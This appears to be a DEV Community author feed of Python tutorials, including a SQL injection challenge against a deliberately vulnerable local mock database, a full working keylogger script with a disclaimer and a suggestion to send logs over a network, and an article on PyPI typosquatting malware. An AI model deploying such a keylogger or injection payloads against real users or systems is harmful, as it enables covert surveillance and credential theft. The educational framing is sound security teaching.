DEV Community: Seraph★776

SQL Injection Hacker Challenge

Seraph★776 — Mon, 29 Aug 2022 23:47:00 +0000

💡 Overview

A SQL injection (SQLi) is a type of cybersecurity attack that targets data-driven applications by inserting or "injecting" malicious SQL statements in the input field of a web page. A successful SQLi can allow an attacker to read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database, or even gain root access to the system itself. The SQLi Hacker Challenge is an chance for you to conduct a SQLi attack on a mock database that was designed for this challenge. If successful, you’ll have another opportunity to answer some fun Bonus Questions.

Before we begin, let's go over an example of SQLi attack.

SQLi example

Look at the following example which creates a SELECT statement by adding a variable (user_id) to the end of it. The variable is fetched from the input() function.

user_id = input("User ID: ")
SQL_statement = f"SELECT * FROM Users WHERE user_id = {user_id};"

The purpose of the code is to create a SQL statement to select a user, with a given user_id. If there are no security measures in place then a user can enter erroneous data into the input field such as:

User Id: 776 OR 1=1

This would create the following SQL statement:

SELECT * FROM Users WHERE user_id = 776 OR 1=1;

The above SQL statement is valid and will return ALL rows from the "Users" table, since OR 1=1 is always TRUE. If the "Users" table contains usernames and passwords then a hacker would get access to all the usernames and passwords in a database, by simply inserting 776 OR 1=1 into the input field.

SQLi Hacker Challenge

Now that you have a basic understanding of how a SQLi works, lets try the SQLi Hacker Challenge.

Task

Your task is to execute a successful SQLi attack on a mock database that was designed for this challenge, and to view all contents in.

Database Design

The database consists of one table, and the following three columns:

id
username
password

Instructions

Run the following Python script on your local machine, and you will be prompted to "Enter your SQL Injection.". Keep entering input until you successfully achieve a SQLi attack!

#!/usr/bin/env python3
import sqlite3
import requests

# SQL statements:
CREATE_USERS_TABLE = "CREATE TABLE IF NOT EXISTS usernames (id INTEGER PRIMARY KEY, username TEXT, password TEXT);"
INSERT_USER_DATA = "INSERT INTO usernames (username, password) VALUES (?, ?)"


def get_userdata() -> list:
    """Returns username, and password in tuple from online username.dat file."""
    # url to username and password file
    URL = "https://pastebin.com/raw/ih7szSSv"
    raw = [i.strip() for i in requests.get(URL).text.split('\n')]
    output = []
    for i in raw:
        users = i.split(', ')[0].split(',')[0]
        passwords = i.split(', ')[0].split(',')[1]
        output.append((users, passwords))
    return output


# Create database in memory
conn = sqlite3.connect(":memory:")
# Get usernames and passwords
user_data = get_userdata()

# Create table
conn.execute(CREATE_USERS_TABLE)
# Insert username, passwords into database
conn.executemany(INSERT_USER_DATA, user_data)


while True:
    INJECTION = input("Enter your SQL Injection:\n>  ")
    sql = f"SELECT * FROM usernames WHERE id = 776 {INJECTION}"
    try:
        results = conn.execute(sql).fetchall()
        if results:
            print(f"\n\033[92m" + "Good job, you did it!" + "\033[0m")
            with conn:
                for row in results:
                    print(row)
            conn.close()
            break
    except sqlite3.OperationalError as e:
        print("\n\033[91m" + "Nope, try again!" + "\033[0m")
        pass

Bonus Questions

After dumping the database, try solving the following Bonus Questions.

Decrypt the administrator's password. Hint: MD(101)
What 1995 "crime/action/romance" movie did these users play in? Hint: Solve the first bonus question.

Conclusion

The main purpose of this tutorial was to teach basic techniques on how to conduct a SQLi attack. Hopefully you were able to successfully execute a SQLi attack, and solve all of the Bonus Questions. If you want a better SQLi graphic user interface then check out the SQL Injection Lab hosted on Hacksplaining. Please leave your questions, concerns or comments below. Thanks for reading this post ~ Good luck and have fun!

Code available at GitHub

Python: Binary Search Algorithm 🔎

Seraph★776 — Sun, 21 Aug 2022 11:41:32 +0000

Introduction

The purpose of this article is to explain the Binary Search algorithm and how it works. Then we’ll walk through an example of a binary search in Python so that you can learn how to write one your own.

What is Binary Search?

A binary search is a search algorithm that finds the position of a target value within a sorted array. It is the most efficient searching algorithm having a run-time complexity of O (log2 N). Binary search is faster than linear search except for small arrays. It is considered a Divide and Conquer algorithm. There are specialized data structures designed for fast searching, such as hash tables, that can be searched more efficiently than binary search. However, binary search can be used to solve a wider range of problems, such as finding the next-smallest or next-largest element in the array relative to the target even if it is absent from the array.

How it works?

The binary search begins by comparing the middle_index of the array with the target_number. If the target_number matches the middle_index, then its position in the array is returned.
If it does not match, then the algorithm determines if the target number is greater than or less than the middle_index. Since the array is sorted, it determines if the target_number is in the left (lower) half, or the right (upper) half of the array.
The algorithm effectively divided the problem in half. It “rules out" one half of the array that it knows doesn't contain the target_number.
It Repeat the same process, starting at the middle_index on the new half-size array. This process repeats again and again, until the algorithm find the target_number or "rules out" the whole set.

Implement a Binary Search in Python

Let's take a look at how to implement a binary search using Python. The pseudo-code below will help explain the steps taken for each line of code.

Pseudocode

Define low_index and middle_index.
Start while loop.
Define middle_index.
If target_number equals middle_index, then return True.
If target_number is less than middle_index then high_index becomes middle_index - 1,
If target_number is greater than middle_index then low_index becomes middle_index + 1,
If NO target_number, then return False.

def binary_search(lst, target_number):
    """Binary Search Algorithm"""
    # 1. Define low_index & high_index:
    low_index = 0
    high_index = len(lst) - 1

    # 2. Start while loop:
    while low_index <= high_index:
        # 3. Define middle_index:
        middle_index = (low_index + high_index) // 2
        # 4. If target_number == middle_index, then return True:
        if target_number == lst[middle_index]:
            return True
        # 5. If target_number is less than middle_index,
        # then high_index becomes middle_index - 1:
        elif target_number < lst[middle_index]:
            high_index = middle_index - 1
        else:
            # 6. If target_number is greater than middle_index,
            # then the low_index-index becomes middle_index:
            low_index = middle_index + 1
    # 7. If NO target_number, then return False:
    return False

Conclusion

This article discussed how the Binary Search algorithm works and how to implement one using python. Hopefully you have a better understanding on how the algorithm works, and can write your own variation. If you found this article helpful or have any questions, please leave a comment.

Code available at GitHub

Pip Install Malware?!

Seraph★776 — Fri, 05 Aug 2022 22:46:00 +0000

Introduction

If you are a Python developer then you are aware of pip. However, were you aware of the potential malware threat associated with Python's recommended package-management system? This article will discuss the security threats associated with pip and what you can do to protect yourself against them.

What is PIP?

Package Installer for Python or (pip) is the de facto and recommended package-management system written in Python and is used to install and manage software packages. It connects to an online repository of public packages, called the Python Package Index(PyPI). For example, let's say you want to install the request module. You would use the following syntax:

pip install request

This command will download the source code of the request package and install it into your local Python environment, allowing you to utilize its functionality.

PIP's Vulnerabilities

In general practice, Python developers will usually upload secure and ethical code to the PyPI repository. However, you would be surprised to know, there are no third-party checks on the code that is uploaded to PyPI. The only restriction is that once a package name exists, only the maintainer(s) can upload packages with that name. Meaning you can't submit a package using an already established name.

Unfortunately, this security feature can be exploited. In 2016, research proved that PyPI could be exploited through typosquatting. The researcher uploaded some harmless "simulation malware" to PyPI under names that were misspelled versions of popular package names, in order to collect data on how often these misspelled packages were installed. If a script kiddie or black-hat hacker was doing this then they could have used a much more malicious script.

Malware on PyPI

On July 28, 2022 researchers at Sonatype discovered malicious code on PyPI. The packages were named "requesys," "requesrs," and "requesr," which are all common typosquats of "requests" — a legitimate and widely used HTTP library for Python. Sonatype immediately reported this incident to PyPI's administrators, and two of the packages have since been removed.

According to the researchers at Sonatype, the packages (requesys) was downloaded about 258 times, presumably by developers who made typographical errors when attempting to download the real "requests" package. One version of the requesys package contained the encryption and decryption code in plaintext Python. But a subsequent version contained a Base64-obfuscated executable that made analysis a little harder, according to Sonatype.

Nothing harmful found

According to Sonatype, developers who ended up with their system encrypted received a pop-up message instructing them to contact the author of the package for the decryption key. Victims were able to obtain the decryption key without having to make a payment for it. Which according to Sonatype, "makes this case more of a gray area rather than outright malicious activity."

Information on the hacker's Discord channel shows that at least 15 victims had installed and run the package.

A Growing Threat

This event is one of an increasing number of recent occurrences where hackers have hidden harmful code in commonly used software repositories in an effort to lure developers into downloading and installing it in their environments. For instance, Sonatype discovered in May that 300 developers had mistakenly downloaded "Pymafka," a malicious program for disseminating Cobalt Strike, from the PyPI registry thinking it was the popular and trustworthy Kafka client "PyKafka."

In July, researchers at Kaspersky discovered four information-stealing packages in the Node Package Manager (npm) repository.

Conclusion

Hopefully after reading this article, you now realize why it is important to pay close attention to what you download from public code repositories such as PyPI. Security researchers state that organizations must pay closer attention to their software supply chains — especially when it comes to using open source software from public repositories such as PyPI. Remember, as a Python developers, it is always your responsibility to ensure your packages are secure. Be very careful when typing out the names of popular libraries, as typosquatting is one of the most common methods for this exploitation.

Additionally, it behooves you to take preemptive measure to protect your files in your day-to-day operations. Use a trusted antivirus and malware protection software, use secure & strong passwords, always use secure internet connections, and always, always, always — backup your data!

If you found this article helpful or have any questions please leave a comment.

Validate Credit Card Numbers using Python

Seraph★776 — Tue, 02 Aug 2022 00:25:00 +0000

Introduction

The purpose of this article is to explain how to write a simple credit card validator using Python. The algorithm that will be used to verify card numbers is called the Luhn algorithm.

About Luhn's Algorithm

The Luhn algorithm was developed by German computer scientist Hans Peter Luhn in 1954. The algorithm also known as the "modulus 10 algorithm," is a check sum formula used to validate a variety of identification numbers including credit card numbers.

Most credit cards, and many government identification numbers use the algorithm as a simple method of distinguishing valid numbers from mistyped or otherwise incorrect numbers. It is not intended to be a cryptographically secure hash function; instead, it was created to detect accidental errors rather than defend against malicious attacks.

How the Algorithm Works

The Luhn algorithm starts from the last digit which is called the check digit. Then moving left from this check digit (←), double the value of every digit at even indices.
If the result of this doubling operation is greater than 9 (e.g., 6 × 2 = 12), then subtract 9 from the result (e.g., 12: 12 − 9 = 3) or, equivalently, add the digits of the result (e.g., 12: 1 + 2 =3).
Now sum all the digits (including the check digit).
If the total is divisible by 10 then the number is valid; otherwise, it is not valid.

Implementing Luhn's Algorithm using Python

The solution below will take a string argument called 'credit_number' which represent the credit card number that will be verified. The pseudo-code below will help explain the steps taken for each line of code.

Pseudo-code

Change string to list datatype
Remove last digit (check digit)
Reverse remaining digits
Double digits at even indices
Subtract 9 if over 9
Add the check digit back to the list
Sum all digits
If the sum is divisible by 10 then it is valid; otherwise, Invalid

def validate_credit_card(card_number: str) -> bool:
    """This function validates a credit card number."""
    # 1. Change datatype to list[int]
    card_number = [int(num) for num in card_number]

    # 2. Remove the last digit:
    checkDigit = card_number.pop(-1)

    # 3. Reverse the remaining digits:
    card_number.reverse()

    # 4. Double digits at even indices
    card_number = [num * 2 if idx % 2 == 0
                   else num for idx, num in enumerate(card_number)]

    # 5. Subtract 9 at even indices if digit is over 9
    # (or you can add the digits)
    card_number = [num - 9 if idx % 2 == 0 and num > 9
                   else num for idx, num in enumerate(card_number)]

    # 6. Add the checkDigit back to the list:
    card_number.append(checkDigit)

    # 7. Sum all digits:
    checkSum = sum(card_number)

    # 8. If checkSum is divisible by 10, it is valid.
    return checkSum % 10 == 0


if __name__ == '__main__':
    # American Express
    print(validate_credit_card('378282246310005'))  # True
    print(validate_credit_card('371449635398431'))  # True
    # American Express Corporate
    print(validate_credit_card('378734493671000'))  # True
    # Australian BankCard
    print(validate_credit_card('5610591081018250'))  # True
    # Diners Club
    print(validate_credit_card('30569309025904'))  # True
    print(validate_credit_card('38520000023237'))  # True
    # Discover
    print(validate_credit_card('6011111111111117'))  # True
    print(validate_credit_card('6011000990139424'))  # True
    # MasterCard
    print(validate_credit_card('5555555555554444'))  # True
    print(validate_credit_card('5105105105105100'))  # True
    # Visa
    print(validate_credit_card('4111111111111111'))  # True
    print(validate_credit_card('4012888888881881'))  # True

    # Invalid Credit Card Number
    print(validate_credit_card('7762888103111881'))  # False
    print(validate_credit_card('37612555227841800'))  # False

This is one solution on how to implement a simple credit card validator using Python. You can check the validity of the number using with this credit card validator.

There are available Python libraries that can be downloaded which would make it easier to include Luhn-based identification number verification in software applications.

Conclusion

This article discussed the Luhn Algorithm and how to implement a credit card validator using Python. Hopefully you have a better understanding on how the algorithm works, and can write your own credit card number validator using Python. If you found this article helpful or have any questions, please leave a comment.

Code available at GitHub

Generate Word Cloud using Python

Seraph★776 — Tue, 26 Jul 2022 18:39:00 +0000

Introduction

A word cloud (also called tag cloud or weighted list) is a visual representation of text data. Words are usually single words, and the importance of each is shown with font size or color. This article will discuss how to generate a Word Cloud using Python.

📚 Python Libraries

wordcloud
Counter
re
os

Input File

For the input file, you need a file that contains text. You can use a site like Project Gutenberg to find books that are available online. You can generate word clouds from famous books such as Alice in Wonderland by Lewis Carroll or Dracula by Bram Stoker. The possibilities are endless. This project used The Raven by Edgar Allan Poe. Simply copy the contents into a text file and save it in the same directory as the Python script.

Implementation

We need to write a function that will open this text file, iterate through the words, remove punctuation, and count the frequency of each word. We must also make sure to ignore word case, words that do not contain all alphabets, and common words like "and" or "the". We will follow these 5 basic steps to implement the word cloud.

Import Necessary libraries
Open Text file
Clean Text file
Generate Word cloud
Save Word cloud

Step 1: Import the necessary libraries

from wordcloud import WordCloud
from collections import Counter
import re
import os

The WordcCloud library is what generate the wordcloud.
The Counter module is used to create a dictionary that will count the frequency of each word.
The re module used to remove punctuations from the text file.
The os module is used for file handling

Step 2: Open the text file

def get_file(filename):
    with open(filename, encoding='utf-8') as file_object:
        content = [word.lower().strip() for word in file_object]
    return ' '.join(content)

The get_file() function will open the text file using UTF-8 encoding, and returns content of file.

Step 3: Clean Text file

def clean_file(data):
    data = re.sub(r'[^\w\s]', '', data)
    stopwords = ('a', 'an', 'and', 'as', 'at', 'but', 'by', 'from', 'he', 'him', 'i', 'is', 'my', 'of', 'or',
                 'on', 'said', 'that', 'the', 'there', 'this', 'to', 'with')
    return Counter([word for word in data.split() if word not in stopwords])

The clean_file() function takes 1 parameter data which is the text file that will be passed to it. The re module is used to remove punctuation marks from the text. Additionally, any stopwords (i.e. commonly used words) will be removed as well. The results are returned in a Counter object which is used to count the frequency of the remaining words in the file.

Step 4: Generate Wordcloud

def generate_wordcloud(data):
    return WordCloud(height=800, width=1200).generate_from_frequencies(data)

The generate_wordcloud() function takes 1 parameter, data, which is the Counter object. It uses this word frequency hashmap to generate a Wordcloud image 800x1200 pixels in size. The result is the following Wordcloud image:

Step 5: Save Wordcloud

def save_wordcloud(data, filename):
    data.to_file(os.path.join(filename))
    print(f'{filename} has been successfully saved.')

Finally we want to save this Wordcloud image. The save_wordcloud() function takes two parameters, data and filename. data is the wordcloud object that will be saved, and filename is that name the file will be saved as.

Implementing the Code


def main():
    # Get the path of the text file
    raven_path: str = os.path.join('the_raven.txt')

    # Open this text file:
    raven_file: str = get_file(raven_path)

    # Clean the text file:
    process_file: dict = clean_file(raven_file)

    # Generate wordcloud
    raven_cloud: [Wordcloud] = generate_wordcloud(process_file)

    # Save wordcloud image as 'raven_cloud.jpg'
    save_wordcloud(raven_cloud, 'raven_cloud.jpg')


if __name__ == '__main__':
    main()

The Full Code

import os
import re
from collections import Counter
from wordcloud import WordCloud


def get_file(filename):
    with open(filename, encoding='utf-8') as fo:
        content = [i.lower().strip() for i in fo]
    return ' '.join(content)


def clean_file(data):
    data = re.sub(r'[^\w\s]', '', data)
    stopwords = ('a', 'an', 'and', 'as', 'at', 'but',
                 'by', 'from', 'he', 'him', 'i', 'is',
                 'my', 'of', 'or', 'on', 'said', 'that',
                 'the', 'there', 'this', 'to', 'with')
    return Counter([word for word in data.split() 
                    if word not in stopwords])


def generate_wordcloud(data):
    return WordCloud(height=800, width=1200).generate_from_frequencies(data)


def save_wordcloud(data, filename):
    data.to_file(os.path.join(filename))
    print(f'{filename} has been successfully saved.')


def main():
    raven_path = os.path.join('the_raven.txt')
    raven_file = get_file(raven_path)

    process_file = clean_file(raven_file)
    raven_cloud = generate_wordcloud(process_file)
    save_wordcloud(raven_cloud, 'raven_cloud.jpg')


if __name__ == '__main__':
    main()

Conclusion

After reading this tutorial you should now be able to generate your own Wordcloud using Python. Use your imagination and have fun! Checkout the WordCloud for Python Documentation to learn more what you can do with this Python library. Please leave like or comment if you found this article interesting!

Code available at GitHub

Create a Keylogger using Python

Seraph★776 — Sun, 24 Jul 2022 22:43:00 +0000

Introduction

In this tutorial, you will learn how to write a keylogger in Python. A keylogger is a type of surveillance tool used to monitor and record each keystroke typed on a specific computer's keyboard.

⚠️ LEGAL DISCLAIMER

When it comes to the legality of Keyloggers and other hacking tools, are legal to possess. However, installing it on a computer, even your personal computer, can expose you to legal trouble. If you let anyone else use your computer without disabling the keylogger, or not inform them that it is active, you are likely violating federal law. The goal of this tutorial is for security awareness and educational purposes.

Implementing the Keylogger

This is the full Keylogger.py script.



from pynput.keyboard import Key, Listener
import logging


logging.basicConfig(filename="keystroke_log.txt",
                    level=logging.DEBUG,
                    style="{",
                    datefmt='%Y-%d-%M %H:%M:%S',
                    format='[{asctime}]: {message}')


def on_press(key) -> None:
    logging.info(str(key))


def on_release(key) -> bool:
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Code Explanation

Lines 1-2: Importing Required Libraries



from pynput.keyboard import Key, Listener
import logging

pynput: This library allows you to control and monitor input devices.
logging: This library is used for tracking events that happen when some software runs

Lines 5-9: Basic Log Configuration



logging.basicConfig(filename="keystroke_log.txt",
                    level=logging.DEBUG,
                    style="{",
                    datefmt='%Y-%d-%M %H:%M:%S',
                    format='[{asctime}]: {message}')

Here we create basic configuration for the logging system. We will specify the filename where keystrokes will be recorded as keystroke_log.txt followed by specifying the format in which the keystrokes will be stored which will be:

[YYYY-MM-DD HH-MM-SS]: 'key'

Lines 12-13: Defining `On_Press` Function



def on_press(key) -> None:
    logging.info(str(key))

The function takes key as an argument, which is the key pressed by the user, and logs it into the file after converting it into a string.

Lines 16-18: Defining the `On_Release` Function:



def on_release(key) -> bool:
    if key == Key.esc:
        return False

The function takes key as an argument, which again is the key pressed by the user, and will terminate the Keylogger program if the Esc key is passed as an argument.

Lines 21-22: Getting Keystrokes



with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

We create an instance of a Listener which would be recording keystrokes and pass the function we created as an argument. Then we use the .join() method to join it to the main thread. Therefore, every time a key is pressed, the listener is activated and it calls our function which then logs our keystrokes into the file.

Running The Python Keylogger

Run the program:



$ python keylogger.py

Once the program is launched, you will not notice any activity. The program is running in the background. Just begin to type; when you are ready for the program to terminate, just press the Esc key. Once you do, you will notice a new file was created, keystroke_log.txt. This is the file that contains all of the recorded keystrokes.

Examining the `Keystroke_log.txt` File

Below is a screenshot of my keystroke_log.txt file which shows my captured keystrokes:

Conclusion

Now you know how to construct a basic keylogger. This program can be extended to send log files across the network or even uploaded to an FTP Server where you can download it later for use. Remember, this tutorial and Keylogger script are strictly for educational purposes and it shouldn’t be employed for malicious purposes. Please leave like or comment if you found this article interesting!

🔗 Resource Link

GitHub Source Code

Extract Text from PDF Using Python

Seraph★776 — Thu, 21 Jul 2022 00:38:00 +0000

Introduction

This article will discuss how to extract text from a PDF using Python. To complete this task we'll use the PyPDF2 module. PyPDF2 is a free and open-source python library capable of many tasks such as splitting, merging, cropping, adding custom data, encrypting, and retrieving text from PDFs.

The PDF Sample File

The PDF sample file that will be used to extract text from will be The Raven by Edgar Allan Poe.

Directory Structure

This is the directory structure prior to executing script.py

Python Project/
├── app/
│   ├── script.py
│   ├── the_raven.pdf
│

Implementation

Open PDF and Extract Text
Save Text to File.

Open PDF and Extract Text

def extract_text_from_pdf(pdf_filename: str) -> str:
    text_output = ''
    with open(pdf_filename, 'rb') as pdf_object:
        pdf_reader = PyPDF2.PdfFileReader(pdf_object)
        for i in range(0, pdf_reader.numPages):
            page_obj = pdf_reader.getPage(i)
            text_output += page_obj.extractText()
    return text_output

The convert_pdf_to_text() function takes one parameter, pdf_filename, which is the filename of the PDF from which the text will be extracted.
pdf_filename is opened in rb mode (which opens the file in a binary format for reading) as pdf_object, which is then passed to the PyPDF2 object named pdf_reader.
We then iterate over all pages of the PyPDF2 object using the range() function, and the numPages attribute to define the upper bound of the range function.
We then create a page_obj instance for each page, and extract the text from each page_object using the extractText() method.
Finally, we concatenate the results to our text_output string, and return the results.

Save Text to File.

def save_converted_text(text_file: str, filename: str) -> None:
    with open(filename, 'w+', encoding='utf8') as file_obj:
        file_obj.write(text_file)
    print(f'{text_file} has been successfully saved.')

save_converted_text() function takes two parameters, text_file which is the extracted text from the PDF, and filename which is the name you will save your file as. The file name is opened in w+ mode (write + read) using 'utf8' encoding as file_obj.
The contents of text_file are then written to file_obj. A message is printed if the operation executes successfully.

What is Encoding?

Many times applications often use internationalized messages to display output in a variety of user-selected languages such as English, French, Japanese, Hebrew, or Russian. Web content can be written in any of these languages and can also include a variety of emoji symbols. Python’s string type uses the Unicode Standard for representing characters, which lets Python programs work with all these different possible characters. If encoding is not specified, UTF-8 will be used by default. Read the Official Python Documentation to learn more about encoding

Full Code

import PyPDF2


# STEP 1: open PDF and convert to text
def extract_text_from_pdf(pdf_filename: str) -> str:
    text_output = ''
    with open(pdf_filename, 'rb') as pdf_object:
        pdf_reader = PyPDF2.PdfFileReader(pdf_object)
        for i in range(0, pdf_reader.numPages):
            page_obj = pdf_reader.getPage(i)
            text_output += page_obj.extractText()
    return text_output


# STEP 2: Save Text to File
def save_converted_text(text_file: str, filename: str) -> None:
    with open(filename, 'w+', encoding='utf8') as file_obj:
        file_obj.write(text_file)
    print(f'{text_file} has been successfully saved.')


if __name__ == '__main__':
    # extract text from PDF
    text_from_pdf = extract_text_from_pdf('the_raven.pdf')
    # save extracted text
    save_converted_text(text_from_pdf, 'the_raven.txt')

Directory Structure

This is the directory structure after executing script.py

Python Project/
├── app/
│   ├── script.py
│   ├── the_raven.pdf
│   ├── the_raven.txt
│

Conclusion

After reading this article you should now be able to extract text from a PDF using Python's PyPDF2 library. Remember, if you extract text and you encounter unrecognizable text make sure you are using the correct string encoding. If you found this article helpful, please like, follow, and leave a comment!

🔗 Resource Links

GitHub Source Code

Download PDF Files Using Python

Seraph★776 — Fri, 15 Jul 2022 23:33:00 +0000

This article discusses how to download a PDF using Python's requests library.

Approach

Import requestslibrary
Request the URL and get the response object.
Get the PDF file using the response object, and return True.
If the PDF cannot be downloaded, return False

Implementation

The following program downloads a PDF files from the provided URL.

#!/usr/bin/env python3
import os
import requests


def download_pdf_file(url: str) -> bool:
    """Download PDF from given URL to local directory.

    :param url: The url of the PDF file to be downloaded
    :return: True if PDF file was successfully downloaded, otherwise False.
    """

    # Request URL and get response object
    response = requests.get(url, stream=True)

    # isolate PDF filename from URL
    pdf_file_name = os.path.basename(url)
    if response.status_code == 200:
        # Save in current working directory
        filepath = os.path.join(os.getcwd(), pdf_file_name)
        with open(filepath, 'wb') as pdf_object:
            pdf_object.write(response.content)
            print(f'{pdf_file_name} was successfully saved!')
            return True
    else:
        print(f'Uh oh! Could not download {pdf_file_name},')
        print(f'HTTP response status code: {response.status_code}')
        return False


if __name__ == '__main__':
    # URL from which pdfs to be downloaded
    URL = 'https://raw.githubusercontent.com/seraph776/DevCommunity/main/PDFDownloader/assests/the_raven.pdf'
    download_pdf_file(URL)

Output

the_raven.pdf was successfully saved!

Conclusion

After reading this article you should now be able to download a PDF using Python's requestslibrary. Remember that some website might more difficult than others to get data from. If you are unable to download the PDF file, analyze the HTTP response status codes to help determine what wrong. Please leave a comment if you found this article helpful.

Code available at GitHub

DEV Community: Seraph★776

SQL Injection Hacker Challenge

💡 Overview

SQLi example

SQLi Hacker Challenge

Task

Database Design

Instructions

Bonus Questions

Conclusion

Python: Binary Search Algorithm 🔎

Introduction

What is Binary Search?

How it works?

Implement a Binary Search in Python

Pseudocode

Conclusion

Pip Install Malware?!

Introduction

What is PIP?

PIP's Vulnerabilities

Malware on PyPI

Nothing harmful found

A Growing Threat

Conclusion

Validate Credit Card Numbers using Python

Introduction

About Luhn's Algorithm

How the Algorithm Works

Implementing Luhn's Algorithm using Python

Pseudo-code

Conclusion

Generate Word Cloud using Python

Introduction

Input File

Implementation

Step 1: Import the necessary libraries

Step 2: Open the text file

Step 3: Clean Text file

Step 4: Generate Wordcloud

Step 5: Save Wordcloud

Implementing the Code

The Full Code

Conclusion

Create a Keylogger using Python

Introduction

⚠️ LEGAL DISCLAIMER

Implementing the Keylogger

Code Explanation

Lines 1-2: Importing Required Libraries

Lines 5-9: Basic Log Configuration

Lines 12-13: Defining On_Press Function

Lines 16-18: Defining the On_Release Function:

Lines 21-22: Getting Keystrokes

Running The Python Keylogger

Examining the Keystroke_log.txt File

Conclusion

🔗 Resource Link

Extract Text from PDF Using Python

Introduction

The PDF Sample File

Directory Structure

Implementation

Open PDF and Extract Text

Save Text to File.

What is Encoding?

Full Code

Directory Structure

Conclusion

🔗 Resource Links

Download PDF Files Using Python

Approach

Implementation

Output

Conclusion

Lines 12-13: Defining `On_Press` Function

Lines 16-18: Defining the `On_Release` Function:

Examining the `Keystroke_log.txt` File